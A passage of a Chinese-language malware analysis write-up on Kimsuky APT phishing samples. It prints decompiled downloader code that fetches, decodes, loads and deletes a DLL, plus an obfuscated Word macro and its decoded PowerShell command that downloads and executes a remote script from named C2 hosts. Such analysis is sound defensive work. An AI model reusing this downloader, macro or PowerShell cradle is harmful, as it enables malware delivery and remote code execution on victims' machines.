GetLastError(); goto LABEL_24; } dwBufferLength = 10; if ( !HttpQueryInfoA(v4, 5u, Buffer, &dwBufferLength, 0) ) {LABEL_24: InternetCloseHandle(v4); InternetCloseHandle(v2); v19 = hFile; InternetCloseHandle(v1); return v19; } dwBufferLength = sub_4090C4(v5, Buffer); v6 = malloc(dwBufferLength + 1); Block = v6; if ( InternetReadFile(v4, v6, dwBufferLength, &dwNumberOfBytesRead) ) { if ( !dwNumberOfBytesRead || *v6 != 0xB2 || v6[1] != 0xA5 ) { InternetCloseHandle(v4); InternetCloseHandle(hInternet); InternetCloseHandle(v1); return 0; // 无法访问则关闭访问 } v8 = dwNumberOfBytesRead + nNumberOfBytesToWrite; nNumberOfBytesToWrite += dwNumberOfBytesRead; } else { v8 = nNumberOfBytesToWrite; } if ( InternetReadFile(v4, &v6[v8], dwBufferLength - v8, &dwNumberOfBytesRead) ) { do { if ( !dwNumberOfBytesRead ) break; v9 = dwBufferLength - (dwNumberOfBytesRead + nNumberOfBytesToWrite); nNumberOfBytesToWrite += dwNumberOfBytesRead; } while ( InternetReadFile(v4, &v6[nNumberOfBytesToWrite], v9, &dwNumberOfBytesRead) ); } if ( dwBufferLength != nNumberOfBytesToWrite ) goto LABEL_22; DeleteFileA_0(byte_41DBB8); hFile = CreateFileA_0(byte_41DBB8, 0x40000000u, 0, 0, 2u, 0, 0); GetLastError(); v10 = hFile; if ( hFile == -1 ) { GetLastError(); hFile = 0;LABEL_22: j___free_base(v6); v17 = hInternet; InternetCloseHandle(v4); InternetCloseHandle(v17); v18 = hFile; InternetCloseHandle(v1); return v18; } v11 = nNumberOfBytesToWrite; for ( i = 0; i < nNumberOfBytesToWrite; v11 = nNumberOfBytesToWrite ) { v6 = ~v6; ++i; } WriteFile_0(v10, v6, v11, &nNumberOfBytesToWrite, 0); CloseHandle_0(hFile); Sleep(0x64u); v13 = LoadLibraryA(byte_41DBB8); GetLastError(); Sleep(0x2BF20u); FreeLibrary(v13); DeleteFileA_0(byte_41DBB8); v14 = v22; hFile = HANDLE_FLAG_INHERIT; j___free_base(Block); v15 = hInternet; InternetCloseHandle(v4); InternetCloseHandle(v15); v16 = hFile; InternetCloseHandle(v14); return v16;}样本访问C2：pingguo2.atwebpages.com 向其发送GET请求/home/jpg/download.php?filename=button01，下载文件 动态调试没法成功建立连接，仔细一看发现网站已经关了。 综上这也就是一个下载器，使用了一个伪装的word程序迷惑受害者，虽然有窃取行为但主要是起到了建立远程连接下载程序的作用。推测下载下来的文件作用主要功能是对受害者系统具体的行为损害（例如注册表更改、文件篡改等）。行为分析：1.对已创建的资源表进行解密，将其解密成一个用以伪装的word文件。2.打开word文件，文件的内容是关于韩国某高校的内容，同时创建一个子进程执行下面的操作。3.在本地创建word文件，调用系统函数将受害者主机的信息写入创建的word程序中。4.对pingguo2.atwebpages.com创建HTTP连接使用POST发送请求，将收集到的受害者信息发送到目标服务器。4.对pingguo2.atwebpages.com创建HTTP连接使用GET发送请求，下载目标地址的文件/home/jpg/download.php。推测该文件作用是对计算机进行具体的破坏。IOCs 样本3这个样本与样本1相同，都使用了宏进行操作，同样使用powershell对文件执行命令行操作。不同点在于此样本直接使用命令行进行远程文件下载。另外由于访问远程地址关闭，所以样本只分析了几步开始的样本基本信息 提取样本基本信息：样本分析拿到样本发现也是一个word文档，打开文档发现是一个朝鲜语的表格 使用与样本1同样的方法提取宏代码，如下： 复制代码 隐藏代码olevba 0.60.1 on Python 3.8.5 - http://decalage.info/python/oletools===============================================================================FILE: .9a54b0adff7424a02edfe7c365b6a699c006163a23f7abe901ea3395d2ec913b.docType: OpenXMLWARNING For now, VBA stomping cannot be detected for files in memory-------------------------------------------------------------------------------VBA MACRO ThisDocument.clsin file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Private Sub Document_Open()Set djfeihfidkasljf = CreateObject("Shell.Application")//创建shell对象Dim dfgdfjiejfjdshaj As Stringfjdjkasf = "vnslajdsladkf"fjdjkasf = Left(fjdjkasf, 5)dfgdfjiejfjdshaj = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae"dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "")hdfksallasjkdlaf = "[vnslastvnslarivnslanvnslag]$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslatvnsla "hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "")ndkflajdkfjskdjfl = "Nvnslaewvnslaravnslavnslat.WvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslaewvnslaravnslanvnslat).Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag"ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "")salfnxkfdlsjafkj = "('hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslaevnslakvnslaavnslafvnsla.vnslamvnslayvnslaavnslarvnslatvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/vnslahvnslaavnsla/vnslannvnsla.vnslatvnslaxvnslat')"salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "")sjdfkjaslalsfial = "};$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae('vnslawra','');$vnslau=$vnslajvnsla.Rvnslaepvnslalavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae',"sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "")aksfkjaskjfksnkf = "'nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla');$xvnsla=ievnslavnslax $vnslauvnsla;ievnslaxvnsla $vnslaxvnsla"aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "")yeuskaksef = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkfdjfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, yeuskaksef, "", "open", 0End Sub-------------------------------------------------------------------------------VBA MACRO NewMacros.basin file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Sub djfksdalfjkasj() Selection.TypeText Text:="a"End SubSub ejdksaljfkalkf() Selection.TypeText Text:="b"End SubSub eijdklsafkasdk() Selection.TypeText Text:="c"End SubSub uehfsahdkajkas() Selection.TypeText Text:="d"End SubSub eladjkfjaskaskj() Selection.TypeText Text:="e"End SubSub dsjkljfkasdjakf() Selection.TypeText Text:="f"End SubSub jsdkfjaskaskfas() Selection.TypeText Text:="i"End SubSub eijfkdsalkfjaksfj() Selection.TypeText Text:="j"End SubSub ewiasdkfjaskjf() Selection.TypeText Text:="k"End SubSub qijdkasjlfkjask() Selection.TypeText Text:="l"End SubSub qjiejwfksjalksa() Selection.TypeText Text:="m"End SubSub oqdsjakfjksajfa() Selection.TypeText Text:="n"End SubSub qojiewjfksajf() Selection.TypeText Text:="o"End SubSub idifdsakjflakds() Selection.TypeText Text:="p"End SubSub dsiafqdksajf() Selection.TypeText Text:="q"End SubSub qeuejsahfdas() Selection.TypeText Text:="r"End SubSub werjksjlakfja() Selection.TypeText Text:="t"End SubSub yuehjdhaksda() Selection.TypeText Text:="u"End SubSub qieuirajksdjfkaa() Selection.TypeText Text:="v"End SubSub yeujashdfjaakw() Selection.TypeText Text:="w"End SubSub qiwejkasjdfasfe() Selection.TypeText Text:="y"End SubSub tejhjsahkfhka() Selection.TypeText Text:="z"End SubSub vbsnjdfsdafdea() Selection.TypeText Text:="h"End SubSub bvnmsnsdsaef() Selection.TypeText Text:="x"End SubSub bndkslafkejalk() Selection.TypeText Text:="g"End SubSub mxnjdsjkajfkea() Selection.TypeText Text:="1"End SubSub qkdnasnjekusk() Selection.TypeText Text:="2"End SubSub vbjaskheuajks() Selection.TypeText Text:="3"End SubSub mnsjkasjkeaskjei() Selection.TypeText Text:="4"End SubSub xdjfkdjiealjfe() Selection.TypeText Text:="5"End SubSub bnmcnakfdeal() Selection.TypeText Text:="6"End SubSub mzsasfeisakf() Selection.TypeText Text:="7"End SubSub xcvjfeuhaskf() Selection.TypeText Text:="8"End SubSub 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eijfkdjqjdfklafea() Selection.TypeText Text:="+"End SubSub efuehjsahfklkejklafe() Selection.TypeText Text:="{"End SubSub vbnmndmnsfajhfeaef() Selection.TypeText Text:="}"End SubSub nmndsfjfekafeka() Selection.TypeText Text:="|"End SubSub bvjdfjdhefkafskefa() Selection.TypeText Text:=":"End SubSub bdnfasekdifjljqjfks() Selection.TypeText Text:=""""End SubSub eijfklsfnvkdaflfkejfa() Selection.TypeText Text:="<"End SubSub xcnmnvdfefkakfl() Selection.TypeText Text:=">"End SubSub eoiqwerdjkfajfwe() Selection.TypeText Text:="?"End SubSub eioqieridsakfje() Selection.TypeText Text:="s"End SubSub eioqieridsakfje1() Selection.TypeText Text:="!"End SubSub uyeufhejqkefj() Selection.TypeText Text:="C"End SubSub dfekljsahdfjaea() Selection.Delete Unit:=wdCharacter, Count:=1End SubSub vbsnjdfsdafdeaome() Selection.HomeKey Unit:=wdLineEnd SubSub yuefiuhewjkhfas() Selection.EndKey Unit:=wdLineEnd SubSub idifdsakjflakdsageup() Selection.MoveUp Unit:=wdScreen, Count:=1End SubSub yuehjdhaksdap() Selection.MoveUp Unit:=wdLine, Count:=1End SubSub eruwqfjksafqe() Selection.MoveDown Unit:=wdLine, Count:=1End SubSub qijdkasjlfkjaskeft() Selection.MoveLeft Unit:=wdCharacter, Count:=1End SubSub qeuejsahfdasight() Selection.MoveRight Unit:=wdCharacter, Count:=1End SubSub idifdsakjflakdsagedown() Selection.MoveDown Unit:=wdScreen, Count:=1End Sub+----------+--------------------+---------------------------------------------+|Type |Keyword |Description |+----------+--------------------+---------------------------------------------+|AutoExec |Document_Open |Runs when the Word or Publisher document is || | |opened ||Suspicious|open |May open a file ||Suspicious|Shell |May run an executable file or a system || | |command ||Suspicious|Run |May run an executable file or a system || | |command ||Suspicious|ShellExecute |May run an executable file or a system || | |command ||Suspicious|CreateObject |May create an OLE object ||Suspicious|Shell.Application |May run an application (if combined with || | |CreateObject) |+----------+--------------------+---------------------------------------------+发现前部分代码创建shell之后出现一些比较奇怪的代码，推测可能进行过加密，网上一搜发现APT攻击尝试使用针对特定个人的Word文档 - ASEC博客 (ahnlab.com)这是Kimsuky组织进行代码混淆的手段，隐藏的代码是进行远程连接的代码，火绒剑动作检测发现样本调用了powershell进行了远程连接操作然后下载网站内的特定文件http://uekaf.myartsonline[.]com/ha/nn.txt，连接命令：cmdline:'"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" [string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uekaf.myartsonline[.]com/ha/nn.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex$x' 访问这个地址发现403。emmmm。。。。。样本行为1.样本伪造成韩国的表格同时代码隐藏在宏里2.宏代码使用了特定的手段隐藏了C2地址以阻碍分析，并且远程连接C2下载文件http://uekaf.myartsonline[.]com/ha/nn.txtIOCs 总结本文主要对朝鲜APT组织KimSuky的三个典型的样本进行了分析，发现该组织通常使用社会工程学内容发送钓鱼邮件将样本伪造成受害者组织或地区的官方文档、表格、调查报告，非常具有迷惑性。同时该组织使用宏代码载入word文档中，使用powershell或cmd实现基本的受害者主机的信息收集和远程C2的连接，下载攻击载荷对受害者计算机实行具体的攻击，包括但不限于修改注册表项、上传受害者的计算机基本信息、文件的创建与修改。此外，在攻击者进行编写宏代码的时候使用了代码混淆技术隐藏了C2地址。关于近期KimSuky组织的攻击手段，发现该组织开始使用多段C2控制技术、（也就是分成不同的阶段多次连接服务器下载攻击载荷）攻击技术研判 | Kimsuky基于受害者身份验证的多阶段C2控制技术分析 (qq.com)使用PebbleDash木马、双扩展名VBS样本等手段对目标进行攻击。
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